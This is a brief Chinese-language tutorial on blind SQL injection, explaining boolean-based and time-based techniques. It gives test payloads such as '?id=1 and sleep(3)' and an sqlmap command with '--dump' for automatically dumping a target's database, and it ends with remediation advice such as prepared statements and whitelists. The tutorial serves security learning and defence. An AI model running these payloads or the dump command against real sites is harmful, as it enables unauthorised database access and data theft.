常规报错注入已经越来越少,盲注入是目前实战中最主流的 SQL 注入漏洞,页面无报错、无回显,新手很难识别。本篇手把手教布尔盲注、时间盲注测试方法。
一、两种盲注入原理
1、布尔盲注
页面只有正常 / 异常两种状态,通过判断页面返回结果,逐位猜解数据库数据。
2、时间盲注
页面无任何差异,通过sleep()延时函数,根据页面响应时间判断语句是否执行成功。
二、通用盲注测试 Payload
布尔测试:
|----------------------------------------------|
| Plain Text ?id=1 and 1=1 正常 ?id=1 and 1=2 异常 |
延时测试:
|-------------------------------|
| Plain Text ?id=1 and sleep(3) |
页面延迟 3 秒加载,证明存在时间盲注。
三、实战利用工具
SQLmap 一键自动化盲注脱库:
|---------------------------------------------|
| Plain Text sqlmap -u "目标URL" --batch --dump |
四、修复方案
- 强制预编译 SQL 语句;
- 关闭数据库错误输出;
- 严格过滤特殊字符与 SQL 关键字;
- 接口参数白名单校验。